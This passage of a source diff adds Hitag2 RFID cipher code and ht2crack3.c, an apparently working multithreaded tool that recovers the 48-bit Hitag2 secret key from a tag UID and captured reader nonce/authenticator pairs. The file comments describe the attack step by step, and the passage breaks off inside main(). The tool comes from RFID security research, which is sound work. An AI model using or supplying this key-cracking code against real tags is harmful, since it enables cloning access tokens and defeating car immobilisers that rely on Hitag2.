state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state ^= (uint64_t) hitag2_crypt(state) << 47;
|
||||
|
||||
DEBUG_PRINTF("hitag2_init result = %012I64x\n", state);
|
||||
pstate->shiftreg = state;
|
||||
/* naive version for reference, LFSR has 16 taps
|
||||
pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6)
|
||||
^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22)
|
||||
^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
|
||||
^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);
|
||||
*/
|
||||
{
|
||||
// optimise with one 64-bit intermediate
|
||||
uint64_t temp = state ^ (state >> 1);
|
||||
pstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
|
||||
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
|
||||
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
|
||||
^ (temp >> 42) ^ (temp >> 46);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Return up to 32 crypto bits.
|
||||
* Last bit is in least significant bit, earlier bits are shifted left.
|
||||
* Note that the Hitag transmission protocol is least significant bit,
|
||||
* so we may want to change this, or add a function, that returns the
|
||||
* crypto output bits in the other order.
|
||||
*
|
||||
* Parameters:
|
||||
* Hitag_State* pstate - in/out, internal cipher state after initialisation
|
||||
* uint32_t steps - number of bits requested, (capped at 32)
|
||||
*/
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)
|
||||
{
|
||||
uint64_t state = pstate->shiftreg;
|
||||
uint32_t result = 0;
|
||||
uint64_t lfsr = pstate->lfsr;
|
||||
|
||||
if (steps == 0)
|
||||
return 0;
|
||||
|
||||
// if (steps > 32)
|
||||
// steps = 32;
|
||||
|
||||
do {
|
||||
// update shift registers
|
||||
if (lfsr & 1) {
|
||||
state = (state >> 1) | 0x800000000000;
|
||||
lfsr = (lfsr >> 1) ^ 0xB38083220073;
|
||||
|
||||
// accumulate next bit of crypto
|
||||
result = (result << 1) | hitag2_crypt(state);
|
||||
} else {
|
||||
state >>= 1;
|
||||
lfsr >>= 1;
|
||||
|
||||
result = (result << 1) | hitag2_crypt(state);
|
||||
}
|
||||
} while (--steps);
|
||||
|
||||
DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result);
|
||||
pstate->shiftreg = state;
|
||||
pstate->lfsr = lfsr;
|
||||
return result;
|
||||
}
|
||||
|
||||
// end of crypto core, revert to default optimization level
|
||||
#pragma GCC reset_options
|
||||
|
||||
|
||||
/* Test code
|
||||
|
||||
Test data and below information about it comes from
|
||||
http://www.mikrocontroller.net/attachment/102194/hitag2.c
|
||||
Written by "I.C. Wiener 2006-2007"
|
||||
|
||||
"MIKRON" = O N M I K R
|
||||
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
|
||||
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
|
||||
Random = 65 6E 45 72 - Random IV, transmitted in clear
|
||||
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
|
||||
|
||||
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
|
||||
The inverse of the first 4 bytes is sent to the tag to authenticate.
|
||||
The rest is encrypted by XORing it with the subsequent keystream.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
unsigned int hitag2_benchtest_gen32()
|
||||
{
|
||||
const uint64_t key = 0x4ad292b272f2;
|
||||
const uint32_t serial = 0x96eac292;
|
||||
const uint32_t initvec = 0x4ea276a6;
|
||||
Hitag_State state;
|
||||
|
||||
// init crypto
|
||||
hitag2_init(&state, key, serial, initvec);
|
||||
|
||||
// benchmark: generation of 32 bit stream (excludes initialisation)
|
||||
GetTimer_us(RESET);
|
||||
|
||||
(void) hitag2_nstep(&state, 32);
|
||||
|
||||
return GetTimer_us(NO_RESET);
|
||||
}
|
||||
|
||||
|
||||
unsigned int hitag2_benchtest(uint32_t count)
|
||||
{
|
||||
const uint64_t key = 0x4ad292b272f2;
|
||||
const uint32_t serial = 0x96eac292;
|
||||
const uint32_t initvec = 0x4ea276a6;
|
||||
Hitag_State state;
|
||||
uint32_t i;
|
||||
|
||||
// start timer
|
||||
GetTimer_us(RESET);
|
||||
|
||||
// benchmark: initialise crypto & generate 32 bit authentication
|
||||
// adding i stops gcc optimizer moving init function call out of loop
|
||||
for (i = 0; i < count; i++) {
|
||||
hitag2_init(&state, key, serial, initvec + i);
|
||||
(void) hitag2_nstep(&state, 32);
|
||||
}
|
||||
|
||||
return GetTimer_us(NO_RESET);
|
||||
}
|
||||
|
||||
|
||||
unsigned hitag2_verifytest()
|
||||
{
|
||||
uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };
|
||||
// key = 0x4ad292b272f2 after each byte has its bit order reversed
|
||||
// serial = 0x96eac292 ditto
|
||||
// initvec = 0x4ea276a6 ditto
|
||||
const uint64_t key = rev64 (0x524B494D4E4FUL);
|
||||
const uint32_t serial = rev32 (0x69574349);
|
||||
const uint32_t initvec = rev32 (0x72456E65);
|
||||
|
||||
uint32_t i;
|
||||
Hitag_State state;
|
||||
|
||||
// initialise
|
||||
hitag2_init(&state, key, serial, initvec);
|
||||
|
||||
for (i = 0; i < 16; i++) {
|
||||
// get 8 bits of keystream
|
||||
uint8_t x = (uint8_t) hitag2_nstep(&state, 8);
|
||||
uint8_t y = expected[i];
|
||||
|
||||
DEBUG_PRINTF ("%02X (%02X) \n", x, y);
|
||||
if (x != y)
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
*/
|
||||
|
||||
#ifdef UNIT_TEST
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
unsigned pass = hitag2_verifytest();
|
||||
|
||||
printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL");
|
||||
|
||||
if (pass) {
|
||||
hitag2_benchtest(10000);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif // UNIT_TEST
|
171
tools/hitag2crack/crack3/hitagcrypto.h
Normal file
171
tools/hitag2crack/crack3/hitagcrypto.h
Normal file
|
@ -0,0 +1,171 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: unknown.
|
||||
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
#ifndef HITAGCRYPTO_H
|
||||
#define HITAGCRYPTO_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
Our model of Hitag 2 crypto uses 2 parallel shift registers:
|
||||
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
|
||||
b. 48 bit Linear Feedback Shift Register (LFSR).
|
||||
A transform of initial register (a) value, which is then run in parallel.
|
||||
Enables much faster calculation of the feedback values.
|
||||
|
||||
API:
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
|
||||
uint32_t initvector);
|
||||
Initialise state from 48 bit shared (secret) reader/tag key,
|
||||
32 bit tag serial number and 32 bit initialisation vector from reader.
|
||||
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
|
||||
update shift register state and generate N cipher bits (N should be <= 32)
|
||||
*/
|
||||
|
||||
|
||||
typedef struct {
|
||||
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
|
||||
uint64_t lfsr; // fast lfsr, used to make software faster
|
||||
} Hitag_State;
|
||||
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
|
||||
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
|
||||
|
||||
unsigned int hitag2_benchtest_gen32();
|
||||
unsigned int hitag2_benchtest(uint32_t count);
|
||||
unsigned hitag2_verifytest();
|
||||
|
||||
#endif /* HITAGCRYPTO_H */
|
||||
|
466
tools/hitag2crack/crack3/ht2crack3.c
Normal file
466
tools/hitag2crack/crack3/ht2crack3.c
Normal file
|
@ -0,0 +1,466 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include "HardwareProfile.h"
|
||||
#include "rfidler.h"
|
||||
#include "hitagcrypto.h"
|
||||
#include "util.h"
|
||||
|
||||
// max number of NrAr pairs to load - you only need 136 good pairs, but this
|
||||
// is the max
|
||||
#define NUM_NRAR 1024
|
||||
#define NUM_THREADS 8
|
||||
|
||||
// table entry for Tkleft
|
||||
struct Tklower {
|
||||
uint64_t yxorb;
|
||||
char notb32;
|
||||
uint64_t klowery;
|
||||
};
|
||||
|
||||
// table entry for nR aR pair
|
||||
struct nRaR {
|
||||
uint64_t nR;
|
||||
uint64_t aR;
|
||||
};
|
||||
|
||||
// struct to hold data for thread
|
||||
struct threaddata {
|
||||
uint64_t uid;
|
||||
struct nRaR *TnRaR;
|
||||
unsigned int numnrar;
|
||||
uint64_t klowerstart;
|
||||
uint64_t klowerrange;
|
||||
};
|
||||
|
||||
void printbin(uint64_t val)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i=0; i<64; i++) {
|
||||
if (val & 0x8000000000000000) {
|
||||
printf("1");
|
||||
} else {
|
||||
printf("0");
|
||||
}
|
||||
val = val << 1;
|
||||
}
|
||||
}
|
||||
|
||||
void printstate(Hitag_State *hstate)
|
||||
{
|
||||
printf("shiftreg =\t");
|
||||
printbin(hstate->shiftreg);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
|
||||
// these and the following hitag2_crypt function taken from Rfidler
|
||||
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
|
||||
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
|
||||
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 0xC) )
|
||||
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
|
||||
|
||||
static uint32_t hitag2_crypt(uint64_t s)
|
||||
{
|
||||
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
|
||||
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
|
||||
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
|
||||
uint32_t bitindex;
|
||||
|
||||
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
|
||||
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
|
||||
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
|
||||
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
|
||||
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
|
||||
|
||||
return (ht2_function5c >> bitindex) & 1;
|
||||
}
|
||||
|
||||
|
||||
// this function is a modification of the filter function f, based heavily
|
||||
// on the hitag2_crypt function in Rfidler
|
||||
int fnP(uint64_t klowery)
|
||||
{
|
||||
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
|
||||
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
|
||||
const uint32_t ht2_function4p = 0xAE83; // 1010 1110 1000 0011
|
||||
uint32_t i;
|
||||
|
||||
i = (ht2_function4a >> pickbits2_2 (klowery, 2, 5)) & 1;
|
||||
i |= ((ht2_function4b << 1) >> pickbits1_1_2 (klowery, 8, 12, 14)) & 0x02;
|
||||
i |= ((ht2_function4b << 2) >> pickbits1x4 (klowery, 17, 21, 23, 26)) & 0x04;
|
||||
i |= ((ht2_function4b << 3) >> pickbits2_1_1 (klowery, 28, 31, 33)) & 0x08;
|
||||
|
||||
// modified to use reference implementation approach
|
||||
// orig fc table is 0x7907287B = 0111 1001 0000 0111 0010 1000 0111 1011
|
||||
// we ignore the top bit (bit 4) of the parameter, so therefore create a new
|
||||
// table that indicates which bit positions are the same if the top bit is 1 or 0
|
||||
return (ht2_function4p >> i) & 1;
|
||||
}
|
||||
|
||||
// comparison function for sorting/searching Tklower entries
|
||||
int Tk_cmp(const void *v1, const void *v2)
|
||||
{
|
||||
const struct Tklower *Tk1 = (struct Tklower *)v1;
|
||||
const struct Tklower *Tk2 = (struct Tklower *)v2;
|
||||
|
||||
if (Tk1->yxorb < Tk2->yxorb) {
|
||||
return -1;
|
||||
} else if (Tk1->yxorb > Tk2->yxorb) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// test for bad guesses of kmiddle
|
||||
int is_kmiddle_badguess(uint64_t z, struct Tklower *Tk, int max, int aR0) {
|
||||
|
||||
struct Tklower *result, target;
|
||||
|
||||
// "If there is an entry in Tklower for which y ^ b = z but !b32 != aR[0]
|
||||
// then the attacker learns that kmiddle is a bad guess... otherwise, if
|
||||
// !b32 == aR[0] then kmiddle is still a viable guess."
|
||||
|
||||
target.yxorb = z;
|
||||
target.notb32 = 0;
|
||||
result = (struct Tklower *)bsearch(&target, Tk, max, sizeof(struct Tklower), Tk_cmp);
|
||||
|
||||
if (result) {
|
||||
if (result->notb32 != aR0) {
|
||||
return 1;
|
||||
}
|
||||
} else {
|
||||
return 2;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// function to test if a partial key is valid
|
||||
int testkey(uint64_t *out, uint64_t uid, uint64_t pkey, uint64_t nR, uint64_t aR)
|
||||
{
|
||||
uint64_t kupper;
|
||||
uint64_t key;
|
||||
Hitag_State hstate;
|
||||
uint64_t b;
|
||||
uint32_t revaR;
|
||||
uint32_t normaR;
|
||||
|
||||
// normalise aR
|
||||
revaR = rev32(aR);
|
||||
normaR = ((revaR >> 24) | ((revaR >> 8) & 0xff00) | ((revaR << 8) & 0xff0000) | (revaR << 24));
|
||||
|
||||
// search for remaining 14 bits
|
||||
for (kupper=0; kupper < 0x3fff; kupper++) {
|
||||
key = (kupper << 34) | pkey;
|
||||
hitag2_init(&hstate, key, uid, nR);
|
||||
b = hitag2_nstep(&hstate, 32);
|
||||
if ((normaR ^ b) == 0xffffffff) {
|
||||
*out = key;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// some notes on how I think this attack should work.
|
||||
// due to the way fc works, in a number of cases, it doesn't matter what
|
||||
// the most significant bits are doing for it to produce the same result.
|
||||
// These are the most sig 14 bits to be clear. Looking at fc it is poss
|
||||
// to see cases where the most sig bit of the input to fc (which is made
|
||||
// from fa on 4 of the most sig bits from bit 34 onwards) does not affect
|
||||
// whether it gives a 0 or 1 as the input 0b0ABCD gives the same bit value
|
||||
// as input 0b1ABCD.
|
||||
// The PRNG is initialised by setting the lower 32 bits to the UID, with
|
||||
// the upper 16 bits set to the lower 16 bits of the key. Next the 32
|
||||
// upper bits of the key are XORed with the private nonce and these are
|
||||
// shifted in, with the PRNG outputting bits b0 to b31. These bits are
|
||||
// used to encrypt (XOR with) the nonce to produce nR, which is sent to
|
||||
// the card.
|
||||
// (The card should init the PRNG with the same UID and lower 16 bits of
|
||||
// the key, receive the nR, then shift it in bit by bit while xoring each
|
||||
// bit with its output, and the key - this essentially decrypts the nR to
|
||||
// the nonce XOR the upper 32 bits of the key, while shifting it in.
|
||||
// The card's PRNG will then be in the same state as the RWD.)
|
||||
// By knowing the UID and guessing the lower 16 bits of the key, and
|
||||
// focusing on nR values that don't affect the upper bits of fc, we can
|
||||
// limit our guesses to a smaller set than a full brute force and
|
||||
// effectively work out candidates for the lower 34 bits of the key.
|
||||
|
||||
|
||||
void *crack(void *d)
|
||||
{
|
||||
struct threaddata *data = (struct threaddata *)d;
|
||||
uint64_t uid;
|
||||
struct nRaR *TnRaR;
|
||||
unsigned int numnrar;
|
||||
|
||||
Hitag_State hstate;
|
||||
int i, j;
|
||||
|
||||
uint64_t klower;
|
||||
uint64_t kmiddle;
|
||||
uint64_t y;
|
||||
uint64_t ytmp;
|
||||
uint64_t klowery;
|
||||
unsigned int count = 0;
|
||||
uint64_t bit;
|
||||
uint64_t b;
|
||||
uint64_t z;
|
||||
uint64_t foundkey;
|
||||
uint64_t revkey;
|
||||
int ret;
|
||||
unsigned int found = 0;
|
||||
unsigned int badguess = 0;
|
||||
|
||||
struct Tklower *Tk = NULL;
|
||||
|
||||
if (!data) {
|
||||
printf("Thread data is NULL\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
uid = data->uid;
|
||||
TnRaR = data->TnRaR;
|
||||
numnrar = data->numnrar;
|
||||
|
||||
// create space for tables
|
||||
Tk = (struct Tklower *)malloc(sizeof(struct Tklower) * 0x40000);
|
||||
if (!Tk) {
|
||||
printf("cannot malloc Tk\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// find keys
|
||||
for (klower=data->klowerstart; klower < (data->klowerstart + data->klowerrange); klower++) {
|
||||
printf("trying klower = 0x%05lx\n", klower);
|
||||
// build table
|
||||
count = 0;
|
||||
for (y=0; y<0x40000; y++) {
|
||||
// create klowery
|
||||
klowery = (y << 16) | klower;
|
||||
// check for cases where right most bit of fc doesn't matter
|
||||
|
||||
if (fnP(klowery)) {
|
||||
// store klowery
|
||||
Tk[count].klowery = klowery;
|
||||
// build the initial prng state
|
||||
hstate.shiftreg = (klower << 32) | uid;
|
||||
// zero the lfsr so only 0s are inserted
|
||||
hstate.lfsr = 0;
|
||||
// insert y into shiftreg and extract keystream, reversed order
|
||||
b = 0;
|
||||
ytmp = y;
|
||||
for (j=0; j<2; j++) {
|
||||
hstate.shiftreg = hstate.shiftreg | ((ytmp & 0xffff) << 48);
|
||||
for (i=0; i<16; i++) {
|
||||
hstate.shiftreg = hstate.shiftreg >> 1;
|
||||
bit = hitag2_crypt(hstate.shiftreg);
|
||||
b = (b >> 1) | (bit << 31);
|
||||
}
|
||||
ytmp = ytmp >> 16;
|
||||
}
|
||||
|
||||
// store the xor of y and b0-17
|
||||
Tk[count].yxorb = y ^ (b & 0x3ffff);
|
||||
|
||||
// get and store inverse of next bit from prng
|
||||
// don't need to worry about shifting in the new bit because
|
||||
// it doesn't affect the filter function anyway
|
||||
hstate.shiftreg = hstate.shiftreg >> 1;
|
||||
Tk[count].notb32 = hitag2_crypt(hstate.shiftreg) ^ 0x1;
|
||||
|
||||
// increase count
|
||||
count++;
|
||||
}
|
||||
}
|
||||
|
||||
qsort(Tk, count, sizeof(struct Tklower), Tk_cmp);
|
||||
|
||||
// look for matches
|
||||
for (kmiddle=0; kmiddle<0x40000; kmiddle++) {
|
||||
// loop over nRaR pairs
|
||||
badguess = 0;
|
||||
found = 0;
|
||||
for (i=0; (i<numnrar) && (!badguess); i++) {
|
||||
z = kmiddle ^ (TnRaR[i].nR & 0x3ffff);
|
||||
ret = is_kmiddle_badguess(z, Tk, count, TnRaR[i].aR & 0x1);
|
||||
if (ret == 1) {
|
||||
badguess = 1;
|
||||
} else if (ret == 0) {
|
||||
found++;
|
||||
}
|
||||
}
|
||||
|
||||
if ((found) && (!badguess)) {
|
||||
// brute
|
||||
printf("possible partial key found: 0x%012lx\n", ((uint64_t)kmiddle << 16) | klower);
|
||||
|
||||
if (testkey(&foundkey, uid, (kmiddle << 16 | klower), TnRaR[0].nR, TnRaR[0].aR) &&
|
||||
testkey(&foundkey, uid, (kmiddle << 16 | klower), TnRaR[1].nR, TnRaR[1].aR)) {
|
||||
// normalise foundkey
|
||||
revkey = rev64(foundkey);
|
||||
foundkey = ((revkey >> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000);
|
||||
printf("\n\nSuccess - key = %012lX\n", foundkey);
|
||||
exit(0);
|
||||
|
||||
return (void *)foundkey;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
FILE *fp;
|
||||
int i;
|
||||
pthread_t threads[NUM_THREADS];
|
||||
void *status;
|
||||
|
||||
uint64_t uid;
|
||||
uint64_t klowerstart;
|
||||
unsigned int numnrar = 0;
|
||||
char *buf = NULL;
|
||||
char *buft1 = NULL;
|
||||
char *buft2 = NULL;
|
||||
size_t lenbuf = 64;
|
||||
|
||||
struct nRaR *TnRaR = NULL;
|
||||
struct threaddata *tdata = NULL;
|
||||
|
||||
if (argc < 3) {
|
||||
printf("ht2crack3 uid nRaRfile\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// read the UID into internal format
|
||||
if (!strncmp(argv[1], "0x", 2)) {
|
||||
uid = rev32(hexreversetoulong(argv[1] + 2));
|
||||
} else {
|
||||
uid = rev32(hexreversetoulong(argv[1]));
|
||||
}
|
||||
|
||||
// create table of nR aR pairs
|
||||
TnRaR = (struct nRaR *)malloc(sizeof(struct nRaR) * NUM_NRAR);
|
||||
|
||||
// open file
|
||||
fp = fopen(argv[2], "r");
|
||||
if (!fp) {
|
||||
printf("cannot open nRaRfile\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// set klowerstart (for debugging)
|
||||
if (argc > 3) {
|
||||
klowerstart = strtol(argv[3], NULL, 0);
|
||||
} else {
|
||||
klowerstart = 0;
|
||||
}
|
||||
|
||||
// read in nR aR pairs
|
||||
numnrar = 0;
|
||||
buf = (char *)malloc(lenbuf);
|
||||
if (!buf) {
|
||||
printf("cannot malloc buf\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
while (getline(&buf, &lenbuf, fp) > 0) {
|
||||
buft1 = strchr(buf, ' ');
|
||||
if (!buft1) {
|
||||
printf("invalid file input on line %d\n", numnrar + 1);
|
||||
exit(1);
|
||||
}
|
||||
*buft1 = 0x00;
|
||||
buft1++;
|
||||
buft2 = strchr(buft1, '\n');
|
||||
if (!buft2) {
|
||||
printf("no CR on line %d\n", numnrar + 1);
|
||||
exit(1);
|
||||
}
|
||||
*buft2 = 0x00;
|
||||
if (!strncmp(buf, "0x", 2)) {
|
||||
TnRaR[numnrar].nR = rev32(hexreversetoulong(buf+2));
|
||||
TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1+2));
|
||||
} else {
|
||||
TnRaR[numnrar].nR = rev32(hexreversetoulong(buf));
|
||||
TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1));
|
||||
}
|
||||
numnrar++;
|
||||
}
|
||||
|
||||
// close file
|
||||
fclose(fp);
|
||||
fp = NULL;
|
||||
|
||||
printf("Loaded %d NrAr pairs\n", numnrar);
|
||||
|
||||
// create table of thread data
|
||||
tdata = (struct threaddata *)malloc(sizeof(struct threaddata) * NUM_THREADS);
|
||||
if (!tdata) {
|
||||
printf("cannot malloc threaddata\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<NUM_THREADS; i++) {
|
||||
tdata[i].uid = uid;
|
||||
tdata[i].TnRaR = TnRaR;
|
||||
